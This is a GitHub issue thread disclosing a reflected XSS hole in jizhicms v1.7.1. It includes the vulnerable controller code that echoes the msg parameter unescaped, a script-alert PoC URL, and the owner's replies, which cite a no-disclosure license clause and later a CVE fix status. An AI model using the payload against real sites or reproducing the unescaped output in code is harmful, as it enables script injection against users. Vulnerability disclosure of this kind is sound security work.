


New issue

Jump to bottom

## jizhicms v1.7.1 msg reflected xss vulnerability #28

 Closed mtfly opened this issue on Jun 15, 2020 · 3 comments

mtfly commented on Jun 15, 2020

A xss vulnerability was discovered in jizhicms 1.7.1

There is a reflected XSS vulnerability which allows remote attackers to inject arbitrary web script or HTML via the msg parameter of /index.php/Error/index?msg=1

Vulnerability file: Home/c/ErrorController.php

```
class ErrorController extends Controller
{
    //错误处理示例
    function index($msg){
        echo '错误提示信息: <br/>';
        echo $msg;
    }
}
```

PoC:

http://example.com/index.php/Error/index?msg=%3Cscript%3Ealert(1)%3C/script%3E

← → × ① 不安全 | demo.jizhicms.cn/index.php/Error/index?msg=<script>alert(1)</script>

demo.jizhicms.cn 显示

1

确定

  mtfly changed the title ~~XSS vulnerability~~ jizhicms v1.7.1 msg reflected xss vulnerability on Jun 15, 2020

Cherry-toto commented on Jun 15, 2020

Owner

首先，请您阅读安装时的使用协议！  
如果你没有注意，我下面给你列举出来：

### II. 义务


本软件为开源软件，您可以在遵循本授权协议的基础上使用此版本软件。  
不得对本软件或与之关联的商业授权进行出租、出售、抵押。

不得利用本软件参与重大国际、国家等重点项目，发生一切安全、产权、事故等纠纷均由使用者承担。

禁止在 极致CMS 的整体或任何部分基础上以发展任何衍生版本、修改版本或第三方版本用于重新分发。

禁止使用者在未经官方允许的情况下发布 极致CMS 相关安全漏洞信息，取得官方授权并在官方修复漏洞后，可发布相关漏洞信息。

其次，此XSS不会造成任何影响。

 Cherry-toto closed this as completed on Jun 15, 2020

OS-WS commented on Jan 12, 2021

Hi, did you fix CVE-2020-23644 & CVE-2020-23643?  
if so, in what commit?

thanks!

 Cherry-toto commented on Jan 14, 2021

Owner

thanks for your message. the CVE-2020-23644&nbsp;is fix and the CVE-2020-23643 no fix. We didn't pay attention to these CEVS because they didn't remind us. Thank you again for your reminder, we will fix it in the next version.

...

Assignees

No one assigned

---

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

3 participants

